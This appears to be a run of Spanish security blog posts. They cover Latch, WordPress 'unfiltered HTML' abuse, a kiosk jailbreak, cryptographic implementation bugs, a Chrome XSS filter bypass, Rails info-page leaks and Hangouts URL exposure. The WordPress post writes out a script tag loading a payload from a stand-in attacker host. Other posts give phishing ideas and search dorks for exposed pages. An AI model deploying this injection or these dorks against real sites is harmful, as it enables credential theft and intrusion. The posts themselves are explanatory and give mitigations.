Cuéntame tu experiencia Latch

Normalmente me suelo enterar de que alguien ha puesto Latch en algún sitio porque leo en algún rincón de Internet una nota de la experiencia. A veces es un post en el que alguien cuenta cómo integrarlo para hacer un sistema de 2-keys activation, otras porque me llega un twitt de alguien en la red que ha publicado algo en Internet o porque me llega un correo de refilón contándome someramente que se ha puesto Latch en un determinado sitio.

Figura 1: Twitt publicado con información de una integración nueva de Latch

En esos momentos me hace ilusión ver como la plataforma, que ya va camino de 1.200 integraciones distintas sigue creciendo día a día, pero me gustaría saber mucho más de cómo fue la experiencia. Me quedo con ganas de saber más.

Algunas veces busco ese feedback en los posts, como cuando Alejandro Ramos lo integró en un servidor FTP y explicaba al final cómo había sido el proceso, o cuando Deese hizo el plugin de Latch para Django, pero otras veces me quedo un poco falto de esa información.

Figura 2: Correo de feedback con la integración de Latch en Shodan

Cuando John Matherly integró Latch en el buscador Shodan, me hizo ilusión, que me escribiera un correo electrónico contándome cómo había sido esa experiencia. Cuanto de fácil o difícil había sido, la integración y cuáles eran las cosas que había que mejorar.

Si has integrado alguno de los plugins de Latch para un framework, tipo RoundCube, PrestaShop, Joomla, Wordpress o similar, si has hecho una integración de Latch a medida en una web o en un software concreto, si has creado un plugin de Latch como el de la pGina de Windows, el de Django o este último LatchBundle que hemos visto de Latch para aplicaciones Symfony2, si has usado Latch como parte de un proyecto tuyo tipo SCCAID o Latch Event Monitor, o simplemente si eres usuario de Latch, me encantaría saber cómo ha sido.

Figura 3: LatchBundle, integración de Latch en aplicaciones Symfony2

Cuéntame tú experiencia con Latch en los comentarios de este blog o ponte en contacto conmigo para escribirme un correo explicándome tu experiencia. Además, estamos preparando desde Eleven Paths una sorpresa para premiar a todos aquellos apasionados de la tecnología, geeks y hackers que más retroalimentación nos puedan dar, que al final los que estáis haciendo que Latch sea cada día un poco más grande sois vosotros.

Saludos Malignos! 

Cómo robarle las contraseñas a los Administradores de WordPress con XSS haciendo Phishing con Unfiltered HTML

Hace unos días atrás, Juan Manuel Fernández (@TheXC3LL) un amigo del blog, se puso en contacto para contarme una curiosidad que si eres el administrador de un WordPress debes tener presente. Se trata de una configuración por defecto que permite a los administradores y a los editores - y este es el punto importante - inyectar Unfiltered HTML, o lo que es lo mismo. Todo usuario que sea Editor puede incrustar un código Script en cualquier parte de los artículos que esté proponiendo para publicación.

Esto no es ningún fallo de seguridad, sino como bien dicen en las FAQ de Seguridad de WordPress, es una característica que debe estar para que los editores puedan crear el contenido web que deseen, que para algo WordPress se basa en tecnologías web con el objeto de publicar artículos enriquecidos con todo lo que permiten hoy en día.

Figura 1: Explicación de WordPress sobre el asunto de Unfiltered HTML

Sin embargo, dentro de todas las recomendaciones que os di para Mejorar la Seguridad de WordPress habría que tener también en cuenta esto, ya que cualquier Editor podría inyectar un código JavaScript en distintos puntos y con un un simple "<script src="http://server.xxx/payload.js"></script>" se consigue la ejecución de código en el Dashboard del Admin. Esto podría ser porque el Editor fuera el atacante, o porque previamente un atacante se hubiera hecho con la password de un Editor para luego atacar al Admin, algo similar a como le pasó a Zone-H en el año 2007.

Figura 2: Código Script ejecutado en el dashborad del Admin inyectado por un Editor

Esta característica podría ser ejecutada por un Editor malicioso para ejecutar código para hacer un Phishing y robar las credenciales del administrador mediante un engaño. Así, por ejemplo, el contenido de Payload.js podría ser un código mucho mas elaborado que hiciera que saliera la misma ventana de Login ocultando todo el dashboard, y aprovechándose de los administradores menos duchos en seguridad.

Figura 3: Un Phishing hecho con Payload.js inyectado en el Dashboard del Admin

No solo eso, puestos a robar contraseñas, se podría meter un código script más elaborado que hiciera tabnabbing buscando hacer phishing a otros servicios que el Admin pudiera tener abiertos, como por ejemplo Gmail. Por supuesto, aunque las cookies de sesión de WordPress sean HTTP-Only, podrían aparecer escenarios en los que fuera posible robarlas, ya que los bugs para encontrar formas de robar cookies HTTP-Only siguen apareciendo y hacer un session hijacking seguiría siendo una posibilidad. Pero al final, lo más peligroso es que cualquier Editor malicioso podría cargar un exploit client-side para obtener una shell de la máquina del Admin, con una vulnerabilidad como el 0day de Internet Explorer que anda circulando o como los exploits de Metasploit para versiones vulnerables de Safari u otros navegadores.

Si gestionas un WordPress, tal vez te convenga tener en cuenta que dentro de wp-config.php se puede deshabilitar esta característica, sobre todo si tienes un numero alto de Editores, añadiendo la línea de configuración define( 'DISALLOW_UNFILTERED_HTML', true ); Anótate esta característica, junto al resto de las recomendadas en el artículo de Fortificar WordPress.

Figura 4: Cómo poner un Plugin de Latch en WordPress

Por supuesto, si quieres evitar que alguien utilice tu contraseña de Admin de WordPress si en algún momento consiguiera robártela, lo mejor es pongas el plugin de Latch para WordPress, así si algún Editor malicioso hiciera un Phishing para robar tu password, tú te enterarías al instante con una alerta de Latch. En el Canal SlideShare de Eleven Paths tienes todos los manuales de instalación de Lath en frameworks de Internet.

Saludos Malignos!

Hacer Jailbreak a un Kiosco de Internet con un Lumia 925

Estos días atrás me he topado con algunos Kioscos Interactivos por ahí perdidos que me han estado haciendo ojitos, como el caso del Kodak Kiosk que no contento con flirtear conmigo me pedía la password de Facebook. Hoy os quiero hablar de otros Kioscos Interactivos con los que he tenido una aventura romántica  y en especial un caso bastante curioso que os quiero contar en el artículo de hoy lunes. Digamos que mi primer contacto estos días fue con un Kiosco Interactivo colgado en un punto de venta.

Figura 1: Un Easy Kiosk con el disco duro roto.

Me hizo gracia en este caso el nombre de Easy Kiosco y verlo con el disco duro roto, pero luego ver que tenía un Intel Core 2 Duo P8400 me hizo darme cuenta de dos curiosidades. La primera que tuviera un micro que se comercializó entre los años 2006 y 2009, es decir, que tiene ya más de 5 años de vida. La segunda, es que esa P en Intel me sonaba que era para micros de equipos portátiles y no para sobremesas, lo que quiere decir que este Kiosco Interactivo probablemente corra un thin client nada más.

El segundo de los kioscos que me hizo ojitos era un Internet Kiosk. Un punto de esos que comercializan minutos de conexión en plan oficina de trabajo puntual. No solo cuenta con conexión a Internet sino que además permite imprimir documentos y realizar llamadas por teléfono desde el propio Kiosco Interactivo.

Figura 2: El Internet Kiosk

Como se puede ver, tiene una aplicación propia que se usa como interfaz único para todo. Es decir, usa un navegador propio, un interfaz de conexión propio para Skype, para llamar por teléfono y para el servicio de impresión de documentos. Por supuesto, haciendo clic en cualquier sitio está todo deshabilitado en el sistema, a pesar de que cuenta con un teclado que puedes aporrear a gusto para intentar llamar a funciones por medio de hot keys, como por ejemplo las Sticky Keys para hacer un jailbreak de la aplicación, tal y como se podía hacer en algunos kioscos del DNIe en el año 2012. Todo bloqueado en local.

Tras jugar con él unos minutos, decidí irme sin conectarme a Internet y probar algunos trucos más con su navegador, como probar a descargar un Eicar a ver si saltaba el antimalware. Al fin y al cabo supuse que debajo habría un sistema hecho a media, tal vez con una distribución de Linux tuneada que solo abría esa aplicación y me alejé. Al minuto una mujer de cierta edad se acercó al kiosco de Internet para para dejarme como un luser, ya que ella iba a conseguir romper en cuestión de segundos la jaula que el proceso de hardening del Kiosco Interactivo - tal vez incluso soportando iKAT (Interactive Kiosk Attack Tool) - había preparado.

La señora decidió utilizar una aproximación totalmente distinta a cualquier otra que yo hubiera pensado. Mientras que yo buscaba fallos en las aplicaciones y el sistema de fortificación utilizando el interfaz Touch en la pantalla, el teclado y el ratón, ella decidió usar el Kiosco de Internet por otro interfaz y para otra función, ya que como bien dice el gran Michael Howard "All input is evil until it proves otherwise".

Figura 3: Los conectores del Internet Kiosk

Para hacer el jailbreak solo tuvo que utilizar el Internet Kiosk para cargar su teléfono por el conector USB ya que para dar el servicio de impresión tiene conectores USB, conectores de tarjetas de memoria de múltiples formatos y hasta disquetera.

Al conectar su terminal, se produjo una llamada automática al sistema Plug & Play de los sistemas Microsoft Windows porque detectó nuevo hardware. En este caso, dio la casualidad de que la mujer había conectado un dispositivo con Windows Phone en un Nokia Lumia 925 y que el driver no estaba instalado en el sistema operativo, lo que lanzó un asistente de configuración del driver fuera de la jaula que había planteado el creador de la aplicación.

Figura 4: El asistente de configuración del driver para un Nokia Lumia 925

La mujer se asustó y se alejó del kiosco dejando el asistente en pantalla, momento que yo aproveché para volver a jugar con el Internet Kiosk. El  y el resto ya lo sabéis, desde ese punto se puede ver la red completa, luego llamar a la ayuda con F1 desde ese cuadro de dialogo, pedir la impresión de la ayuda, abrir el navegador de Internet Explorer y ... bueno, el resto ya os lo imagináis.

Figura 5: Examinando la red desde el kiosco Interactivo de Internet

Conseguir fortificar un Kiosco Interactivo es un trabajo bastante arduo, ya que el número de situaciones que pueden darse es enorme, y como puede verse en estos ejemplos, el propio hardware puede convertirse en un problema. Además, un Kiosco Interactivo tiene el inconveniente de que el impacto de un fallo puede ser enorme, desde un problema de imagen al acabar con un David Hasselhoff hasta un problema de exposición de información sensible de la red de tu organización. 

Frankfurt AirPort #troopers14 }XD pic.twitter.com/5YCTENzoD7
— Chema Alonso (@chemaalonso) marzo 19, 2014

Por supuesto, interactuar con un Kiosco Interactivo para hacer el jailbreak es como un juego, ya que además, cualquier actualización del software del sistema puede llevar a una nueva puerta de acceso, así que siempre que me encuentro uno le dedico unos minutos a ver qué pasa - como sé que también hacéis muchos de vosotros y más gente -.  Si te toca diseñar la seguridad de un Kiosco Interactivo, cuenta con esto.

Saludos Malignos!

Vídeo de la charla "Digital Latches for your Digital Life"

Durante el mes pasado he estado dando una charla en varias universidades por España para explicar cómo funciona Latch. Este vídeo que he subido a mi canal Youtube es en concreto de la charla que di en la Semana de la Informática 2014 de Valencia y es más o menos la misma sesión que impartí en la Universidad Europea de Madrid, en la Universidad Politécnica de Madrid, en la Universidad de Málaga y la Universidad de Almería. En este caso tenía solo 25 minutos, pero al final estuve 45' con las preguntas y todo.

Figura 1: Conferencia "Digital Latches for your Digital Life"

Las diapositivas de la sesión son las que os dejo aquí en mi canal en SlideShare, y recogen más o menos lo que os conté en el artículo de "Cómo proteger identidades digitales con Latch" además de muchos de los temas de los que os voy hablando diariamente por aquí, en El lado del mal.

Figura 2: Digital latches for your digital Life de Chema Alonso

Como sabéis, Eleven Paths ha cumplido hace unos días un año, así que voy a aprovechar para darles las gracias a todos los compañeros de esta empresa que es una pasada por estar ahí. Por haber creado Latch, por MetaShield Protector, por Faast,  por todo lo nuevo que está por venir que os contaré allá por el mes de Junio/Julio y por hacer que cada día de trabajo sea estimulante. Gracias compañeros.

Saludos Malignos!

OpenSSL, GnuTLS, Goto Fail y otros bugs en criptografía

Figura 1: No Lusers 168 - Operación Bullrun en marcha

Cuando en mitad del escándalo se filtraciones de documentos de la NSA por parte de Edward Snowden salió a la luz información sobre la Operación Bullrun del GCHQ y la NSA todos nos quedamos un poco sorprendidos. ¿Cómo iba a poder la NSA inyectar errores en los estándares criptográficos?

Tras hablar unos minutos en aquel entonces con Alfonso Muñoz, uno de los escritores del libro Criptografía Digital: Del cifrado clásico a RSA, especulamos con que lo más sencillo sería meter pequeños errores en las implementaciones que no estuvieran muy auditadas. Al final, es fácil colar un error sutil en el código y que esté años generando números aleatorios que no sean tan aleatorios.

Figura 2: Diapositiva sobre la operación BullRun filtrada del GCHQ

Si has leído el libro del Criptonomicón, esto es algo de lo que se habla largo y tendido cuando se explica en detalle el trabajo de los criptoanalistas o "code breakers" en la segunda guerra mundial. "¿Cómo será de aleatorio el proceso de extracción de bolas para la generación de las tarjetas de números?".

Lo cierto es que si echamos un poco la vista atrás, el número de errores en implementaciones de soluciones criptográficas ha sido grande en los últimos años, por error humano y falta de una auditoría profunda del código.

En el año 2006, el argentino Luciano Bello localizó un error en el código de OpenSSL/Debian que hacía que se generasen claves en un rango muy pequeño, lo que hacía que pudieran calcularse todas las posibles claves en poco tiempo y se pudiese descifrar cualquier tráfico cifrado o localizar cualquier clave privada de autenticación. En este enlace tienes un seminario dictado por Luciano Bello donde lo explica en detalle y en el siguiente vídeo los 10 minutos de la explicación del error en concreto.

Figura 3: El bug de OpenSSL/Debian
En el año 2007, como recoge nuestro compañero Juan Luís en la explicación de cómo se utiliza la aleatoriedad en sistemas de seguridad se descubrió un problema en el generador de números pseudoaleatroios de Windows XP y Windows 2000 que permitía llegar a predecir los números que se iban a generar en un sistema.
En 2010 ya se tenía suficiente conocimiento y potencia como para que se rompieran las claves RSA de 512 y 768 bits, lo que dejaba descubiertos muchos certificados digitales y claves de acceso y ponía en la punta de mira de un futuro cercano las claves de 1024 bits, como explicaba Sergio de los Santos en su artículo sobre la carrera criptográfica entre Microsoft y Google.
En el año 2012 se descubrió The Flame, una ciber-arma creada únicamente para infectar equipos y robar información de ellos que llevaba viva al menos desde 2011, y que había conseguido pasar bajo el radar de todos los sistemas antimalware debido a que se había firmado el software con una certificado roto de Microsoft, lo que obligó a la compañía a cambiar todos los certificados digitales que utilizaba.

Figura 4: El certificado digital usado por TheFlame que Microsoft tuvo que revocar

En el año 2013, se analizan las librerías criptográficas de Java para la generación de aleatoriedad y salen debilidades a la hora de generar entropía necesaria para la generación de claves en determinados escenarios. Ya cuando estábamos en el proceso de creación de DUST RSS vimos que las librerías estándar de Java tenían CVEs reconocidos con problemas de aletoriedad y había que utilizar librerías externas.
En Agosto de 2013 se descubre que la función SecureRandom de Android no utiliza /dev/random - función que garantiza la entropía necesaria para garantizar la aleatoriedad, algo que por defecto, como se explica en detalle en este artículo del blog de Eleven Paths, no hace /dev/urandom.
En Diciembre de 2013 en la CCC, en la presentación de Jacob Applebaum se habla de la posibilidad que se supone que tiene la NSA para saltarse el Code-Signing de Apple en todos los dispositivos iOS e instalar apps sin pasar por la validación de AppStore. Hay que recordar que si no hay que utilizar un Provisioning Profile por cada dispositivo para instalar un troyano en iPhone. Es la Operación DropOutJeep según la NSA.

Figura 5: La Operación DropOutJeep

En Febrero de 2014, Apple saca un parche de emergencia para iOS y OS X para arreglar el bug de Goto FAIL en la verificación de certificados digitales que podría permitir, con un certificado especial, saltarse cualquier comprobación de certificado digital correcto. 

Figura 6: El segundo Goto Fail invalida todas las comprobaciones siguientes

A principios de Marzo de 2014, se confirma en una auditoría de código de GNU/TLS por parte de RedHat que hay una fallo serio en la verificación de certificados digitales que permite saltarse cualquier protección basada en claves generadas con ese software.

Figura 7: El bug de GnuTLS en las funciones de verificación de certificados

También, durante el mes de Marzo de 2014, en la conferencia CanSecWest 2014 se demuestra que el generador de códigos aleatorios de iOS 7 es inseguro, mientras que el de iOS 6 sí que era seguro.
Si a estos pequeños y no tan pequeños errores de implementación se suman los errores no conocidos públicamente, los certificados generados con algoritmos y claves inseguras, las debilidades del protocolo HTTP-s con la implementación de las reglas de confianza, las cada vez más importantes capacidades de cómputo y los exploits para todo el software implicado en cualquier sistema  que use criptografía parece que la Operación Bullrun podría haber sido un éxito.
Saludos Malignos!

El 0day del Anti XSS de Google Chrome que duró 24 horas

Desde hace años he querido trabajar en el mundo de la seguridad informática como pentester profesional. Tras muchas dudas, decidí coger el toro por los cuernos, apuntarme a un Máster de Seguridad Informática, y centrarme todo lo que pueda en este ámbito que las cosas hay que hacerlas de forma decidida. Dedico todo el tiempo que puedo a leer sobre el tema y ampliar mis conocimientos y, cuando puedo, navego por la red buscando cosas interesantes que probar o que me estimulen a pensar de forma diferente. Eso sí, siempre bajo las premisas de no romper nada, hacerlo a mano, que me ayuda a aprender más y de informar cuando la cosa es muy grave.

En este caso os voy a contar una historia de cómo el hurgar y probar ideas en muchas ocasiones te lleva a descubrir cosas cuanto menos curiosas. En este caso, los acontecimientos que os paso a narrar me sucedieron visitando la página de venta de artículos de un conocido mío.

El descubrimiento inicial del XSS Reflejado

La web en concreto no era un CMS de esos que se conocen bien los exploiters web y estaba muy bien estructurada. Tiene su parte de login, su pasarela de pagos y su catálogo de productos correctamente montado. Parecía en definitiva un sitio interesante para invertir algunos minutos comprobando que no había detalles malos. Abrí Mozilla Firefox y tras un par de comprobaciones muy ligeras, apareció un XSS reflejado en un campo “buscar”:

Figura 1: El bug XSS en el formulario de Búsqueda de una web

Bueno, no es que sea nada excepcionalmente grave, pero como es algo muy común y como tenía algo de confianza con el dueño le aviso. Luego almaceno la página para futuros cacharreos - ¡Otra más para el montón! - y a dormir, que son las 2.00 A.M.

Días después en el trabajo me llega un e-mail del conocido en el que me solicita información algo más detallada para reportarle todo al webmaster. En ese momento me pilla con algo de jaleo, pero saco un minuto rápidamente para hacerlo. Preparo en un momento una pequeña prueba con un alert y otra en la que re-dirija la navegación de la víctima a otro lugar - por si hay que explicar cómo funciona eso de que un XSS puede ser utilizado para lanzar un exploit desde otra web y caer en manos de un Kit de Exploits-. Dos pruebas mejor que una, y completo el correo ofreciéndole ayuda en lo que necesiten. Pienso en ponerle además un enlace a OWASP, pero al final las prisas me pueden. De momento que se apañe con eso. Y a volver al tajo...

Pasaron quince minutos hasta que decidí atender a una neurona que llevaba todo el rato intentando llamarme la atención. Por política de empresa, los navegadores web permitidos son Internet Explorer y Google Chrome. Entonces.... ¿cómo había conseguido hacer las demos que acababa de enviar con un XSS Reflejado? ¿Acaso los filtros Anti-XSS estaban fallando en alguno de los dos navegadores? Excelente, una cosa que en su momento parecía normal y aburrida ahora se acababa de convertir en algo interesante que puse en la cima del montón de la “todo list” para casa.

El filtro Anti-XSS que tuvo el bug

Una vez en casa retomé sobre el tema. Rápidamente hice un par de comprobaciones para ver cuál de los dos navegadores de la empresa fue el que utilicé para hacer las PoCs y descubrir cuál de ellos falló. Las pruebas son sencillas, hice clics en los dos enlaces con las pruebas de XSS Reflejado que creé y resulta que Internet Explorer Sí bloquea las PoCs pero Google Chrome… NO.

Por supuesto, lo primero que me vino a la cabeza fue repasar todos los detalles:

- “¿Versión de Chrome? Actualizado a la última disponible."
- “¿Serán las extensiones? Encendidas, le duele, apagadas, le sigue doliendo."

Había que extender las pruebas, así que envié unos e-mails a compañeros en otros lugares:

- “Compi, mírame este enlace con Google Chrome y me cuentas"

La respuesta generalizada es: “Bonito alert”

Puesto a repasar los detalles en profundidad, me decido a probar con varios dispositivos y sumo más de una decena de ellos en los que donde funciona la PoC para lanzar el XSS Reflejado con un simple mensaje de alert. Llamadme suspicaz pero esto tiene pinta de vulnerabilidad en el filtro de Anti-XSS de Google Chrome.

Esto no sería raro, ya que hemos podido ver muchas veces cosas similares en el pasado y como muestra podéis ver algunos ejemplos de Saltarse el filtro de bloqueo de JavaScript en Google Chrome 4, Saltarse el filtro AntiXSS en Google Chrome 11 o las últimas PoCs de saltarse el filtro Anti-XSS en Google Chrome y Apple Safari.

Bien. Toca ver en detalle el entorno de explotación, así que nada, a pulsar F12 y a ver qué narices pasa por debajo ¡Vaya! Esto no sé si es normal pero creo que hasta el momento no lo había visto:

Figura 2: Código con el código del XSS Reflejado insertado

Como echo de menos mis punteros… No queda otra que tirar de Internet para suplir mis carencias en programación web. Por lo que aprendo con “tito Google”, este fallo puede ser debido a cómo interpretan los parsers de XML y HTML el código para impedir que HTML interprete la etiqueta CDATA de XML, debido a todos esos símbolos que ambos lenguajes comparten. Igualmente, tiene pinta de que es eso lo que puentea el filtro, porque todo lo demás es "lo de siempre” que suelo encontrarme cuando inspecciono campos parecidos.

El final de la historia con el bug en el AntiXSS

Decido reportar al equipo de seguridad de Google Chrome, puesto que parece que es un caso que su filtro debería de bloquear. Todo apunta a ese campo CDATA, pero no estoy seguro… Mejor no dárselas de listo, así que reporto con una PoC simple y ya veremos si el tiempo nos da la razón. Unas horas después ratifican que no iba muy desencaminado.

Figura 3: La contestación del equipo de Chromium. Clic para leer en grande

Parece ser que los comentarios provocan un fallo en el módulo de XSS Auditor, que se encarga de evitar ataques de XSS Reflejado. En menos de 24 horas el cambio estaba subido y validado.

Figura 4: El bug resuelto en 24 horas

Intenté reproducir el error en otros lugares, pero únicamente funcionaba si se introducía desde el lado del servidor. Con la última actualización el fallo ya ha sido corregido y el “caso frontera” que permitía hacer “bypass” ya no funciona. Eso sí, siempre nos quedará lanzar Google Chrome con --args --disable-web-security …

La moraleja de la historia

Y aquí termina la feliz historia. La moraleja, si es que se puede llamar así, es que a veces encuentras cosas curiosas de la manera más tonta, e incluso en ocasiones además de ser curioso puede tratarse de algo significativo. Husmear por todas partes tiene su recompensa. Eso sí, sin romper nada, que nos conocemos…

El único punto negativo que he encontrado a todo esto es que la vulnerabilidad no entra dentro del “Vulnerability Rewards Program”. Una pena porque, aunque el dinero no da la felicidad, puestos a llorar, todos preferimos hacerlo dentro de un Ferrari.

Hable con mi profesor Chema Alonso contándole un poco la experiencia y me animó a escribir un artículo para motivar a los que comienzan con esto de la búsqueda de vulnerabilidades, y en ello estoy, retocando los textos… y borrando los metadatos (que nos conocemos y me veo en un artículo en plan “Información sensible que extraigo analizando los metadatos de mis estudiantes del máster” :P)

Autor: Pablo Alobera
Twitter: @illegalpointer

Gira Talentum, Evento Retro y otras jornadas de seguridad

Con el final del mes de Abril y el comienzo del mes de Mayo van a tener lugar una serie de eventos que merece la pena que tengas en el radar, así que aquí te dejo una pequeña agenda de lo que está por llegar.

Durante los días que quedan del mes de Abril tendrá lugar la selección de nuevos Talentum, algunos de ellos acabarán en Eleven Paths con nosotros, y otros podrán disfrutar de unas becas en Startups para hacer sus proyectos. Los lugares donde se van a realizar las charlas y las pruebas primeras son los siguientes, y basta con que te presentes allí.

Abril:
24 [12:00] Universidad de Santiago Campus Sur
25 [12:00] U. de Sevilla, Salón de Actos de la Facultad de Informática
25 [12:00] U. Complutense de Madrid - Facultad de Informática, Aula 8
28 [10:00] Universidad Pablo de Olavide Sevilla
29 [12:45] Universidad de Málaga, Salón de Grados A de la ETS de Ingeniería Informática y ETS Ingeniería de Telecomunicación
30 [13:00] U. Politécnica de Cataluña Aula Máster, Edificio A3, Barcelona

Si quieres saber más de las becas Talentum, aquí tienes el vídeo de la presentación donde algunos de los que han estado ya becados contaban sus proyectos y sus experiencias.

Figura 1: Presentación de los proyectos de las becas Talentum

Luego un recordatorio del evento que tiene lugar en Madrid este fin de semana "Retro Madrid", donde los amantes de la retro-computación podrán pasar un fin de semana de lo más 8 bits posible.

Figura 2: 26 y 27 de Abril Retro Madrid 2014

Durante la semana que viene un par de eventos de los que no os había hablado aún. El primero de ellos es Mundo Hacker Day con la presencia de Kevin Mitnick (@kevinmitnick) y donde participarán otros ponentes dentro del mundo de la seguridad. Será en Madrid, el día 29 de Abril y hay que comprar una entrada para poder asistir.

Figura 3: 29 de Abril Mundo Hacker Day 2014 en Madrid

Ese mismo día 29 de Abril por la mañana, también tiene lugar un evento gratuito en Madrid organizado por AENOR sobre la norma ISO/IEC 25000. La agenda la tienes en este enlace y el registro gratuito en este otro.

Figura 4: 29 de Abril en Madrid, Jornada AENOR sobre ISO/IEC 25000

Ya a principios de Mayo tendrá lugar la DragonJAR Security Conference 2014, donde se van a dar cita muchos y buenos ponentes internacionales, con la presencia de nuestro CSA de Eleven Paths en Colombia Leonardo Huertas  (@samuraiblanco).

Figura 5: DragonJAR Security Conference 2014

Al evento, como podéis ver, van ponentes de muchos países, así que si estás en Colombia o cerca de la región de Manizales los días 5 a 10 de Mayo, merece la pena que te apuntes a algún taller o a la conferencia.

Figura 6: Ponentes internacionales en DragonJAR Security Conference 2014

Os contaré más de esto, pero ya se están cocinando las II jornadas de X1RedMasSegura, que tendrán lugar del 8 al 17 de Mayo, y que yo haré por estar allí dando alguna charla. Si tienes tiempo, ya puedes ir reservando hueco en tu agenda.

A todo esto, yo seguiré los martes a las 11:15 en mi pequeña participación en La Mañana con Javi Nieves, así que siempre puedes sintonizar a esa hora la radio para escucharme un poco.

Saludos Malignos! 

Fugas de información en aplicaciones Ruby On Rails

No conocía esta fuga de información que me ha pasado el equipo que está desarrollando Faast en Eleven Paths sobre las implantaciones con Ruby On Rails y que es digna de tener en cuenta en cualquier auditoría web. Actualmente se ha añadido a la lista de ficheros con información jugosa y fugas de información que debe buscar el servicio cloud de pentesting persistente Faast.

La fuga de información se encuentra en la ruta /rails/info/ donde se muestran dos páginas con datos sobre la instalación de Ruby On Rails en el servidor web: Properties y Routes.

Figura 1: Sección de datos en un /rails/info/properties indexado

La página de Properties trae datos como la versión del framework, el conector a la base de datos que hay por detrás y muchos más detalles, donde también hay que destacar la ruta local de la ubicación de la aplicación en el servidor web.

Figura 2: Información de conexión y Application Root en un /rails/info/properties

En la parte de routes también aparecen rutas del servidor web, que puede ayudar a descubrir las rutas de una aplicación web, por lo que complementan las 20 técnicas que recogí para listar los ficheros de un sitio web.

Figura 3: información en fichero /rails/info/routes

Para localizar instalaciones con estos ficheros abiertos al público haciendo un poco de hacking con buscadores se puede hacer un sencillo dork en Google o Bing buscando inurl la ruta especificada más el texto "Application Root" que indica en qué lugar se ha implantado la aplicación de Ruby on Rails.

Figura 4: Dork para localizar ficheros /rails/info

Estas páginas de información tan verbose de Ruby On Rails recuerdan al info.php de PHP, a los mensajes de error de frameworks JSP, los de error de aplicaciones ASP, los de error en frameworks TCL WebDNA o a cualquier otro error de aplicación que muestre más datos de los que se deberían, así que si te toca hacer auditorias tenlo presente y si tienes una instalación con Ruby On Rails, asegúrate de que no estén disponibles.

Saludos Malignos!

Vídeo Conferencias en Google+, Hangouts y Privacidad

El auge de las vídeo conferencias por Internet es algo innegable y yo soy usuario habitual de ellas. Normalmente, al igual que los sistemas de mensajería, uso diferentes soluciones de vídeo conferencia para diferentes cosas, así que tanto FaceTime, como Google Hangouts, Skype e internamente un solución llamada TokBox que se usa en aplicaciones. Las uso todas ellas, dependiendo de con quién y para qué sea el uso que vaya a darle.

De todas ellas, hay una que lleva un tiempo poniéndome nervioso por las cosas que hace en torno a la privacidad y he decidido escribir este artículo para compartir con vosotros mis preocupaciones al respecto y tener más opiniones vuestras si creéis que podéis aportarme algo. Como habréis supuesto por el título es Google Hangouts.

La privacidad de la vídeo conferencia personal

Cuando yo hago un FaceTime o Skype desde el lugar más remoto del mundo con una persona, lo que espero es que esa conversación sea privada. Si le tengo que decir cosas bonitas, personales, privadas o menos bonitas no quiero tener que preocuparme de que nadie pueda conectarse sin mi permiso. De hecho, puede ser que deje el terminal cerca y hable con el altavoz mientras voy haciendo otras cosas.

Si quiero que alguien se conecte tengo que invitar explícitamente a esa persona, hacer una llamada desde la cuenta del creador de la conversación y la otra persona tendrá que aceptar la vídeo conferencia de forma explícita. Me parece lógico.

En Google Hangouts no parece que sea así. Basta con saber la URL de la conversación y podrás conectarte al Hangouts. Es decir, una vez que se crea la sala funciona de vídeo conferencia funciona de forma similar a una sala de chat donde por defecto cualquiera que conozca su URL puede conectase.

Una prueba sencilla con una vídeo conferencia personal en Google+

Cuando haces la invitación a una invitación de vídeo llamada desde una ventana de chat de Google+, en la barra superior aparece la URL de conexión que protege todo. Vamos a suponer que quisiera hacer una vídeo conferencia con una persona mientras estoy hablando en un chat privado.

Figura 1: Pidiendo una vídeo conferencia personal

Tras pulsar sobre el icono de la cámara se abrirá la URL de la vídeo conferencia, y será la única protección existente para que alguien se añada a la conversación. Si vas a otra máquina con otra cuenta de Google+ que no tenga que ver nada con ninguna de esas dos cuentas, podrás conectarte. Como podéis ver, hasta te avisa de que la llamada a la que me estoy conectado está formada por alguien que no está en mis círculos de Google+, pero aún así te deja unirte.

Figura 2: Estableciendo la llamada de vídeo conferencia con Google Hangouts

Es decir, que toda la privacidad recae en esa URL, que como veis es https://plus.google.com/hangouts/_/[ID_Canal] y un identificador de la llamada, que se crea como un canal al que uno se conecta de forma temporal.

Figura 3: Si tienes la URL, te puedes unir a la vídeo llamada

De hecho, cuando se crea una vídeo llamada para conectar a múltiples personas lo único que se envía es esa URL, lo que deja claro que la única privacidad es que alguien conozca la URL o no.  Cuando entre verá y oirá lo que esté sucediendo allí en ese momento... sea lo que sea.

Figura 4: Creación de una vídeo llamada múltiple con compartición de URL

Al final, la única diferencia entere una vídeo conferencia múltiple y una vídeo llamada personal desde el chat es que la URL se comparte directamente por el cliente de chat y no por correo electrónico, pero el sistema es el mismo.

La privacidad de la vídeo conferencia múltiple

Una de las cosas que he visto que muchas empresas utilizan es ese canal de Google Hangouts como una canal de chat para debatir cosas periódicamente. Por ejemplo, muchas empresas, grupos u organizaciones generan un canal Google Hangoust que re-utilizan constantemente para reuniones periódicas. En ese caso el Google Hangouts funciona como un evento, y su URL es algo como https://plus.googel.com/hangouts/_/events/[ID_Canal]

Figura 5: URLs de Google Hangouts indexadas en Google

La gracia es que ese canal perdura y siempre te puedes conectar a él. Si por casualidad esa URL cae en las manos de una araña de un buscador, podría ser indexada y aparecer en los resultados de alguien que estuviera haciendo hacking con buscadores. De hecho, hay muchas URLs de eventos que han tenido lugar en Google Hangouts indexadas y te puedes conectar a ellas. Siguen vivos los canales.

Figura 6: El canal sigue vivo aunque no haya nadie

Si usas Google Hangouts para reuniones múltiples privadas, ten cuidado no dejes la URL a la vista de las arañas de los buscadores, para que no se conecten visitantes inesperados al canal.

Saludos Malignos!

Robar WhatsApp de Android con Meterpreter de Metasploit

Facebook ha comprado WhatsApp y con ello todo lo bueno y malo que tiene esta aplicación. Lo bueno es algo sencillo de entender y es que tener más de 500 millones de usuarios es algo importante para la firma, pero también se lleva todos los problemas de seguridad que desde hace años van arrastrando a golpe de parche, aunque siguen apareciendo nuevos fallos en el cifrado y fugas de información que dejan ver tú número de teléfono, la ubicación donde estás o la dirección IP desde la que estás conectado. Además, hace algunas semanas se ha golpeado con mucha fuerza la aplicación de mensajería instantánea.

Sabemos que existen muchos métodos para espiar WhatsApp, aunque semanas atrás salió a la luz el método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en Android es sencillo, ya que se almacenan en la SDCard del dispositivo, pero también pueden sacarse de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de si hay jailbreak o no, si hay SSH por defecto, y del tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un hacking a dispositivos iPhone completo.

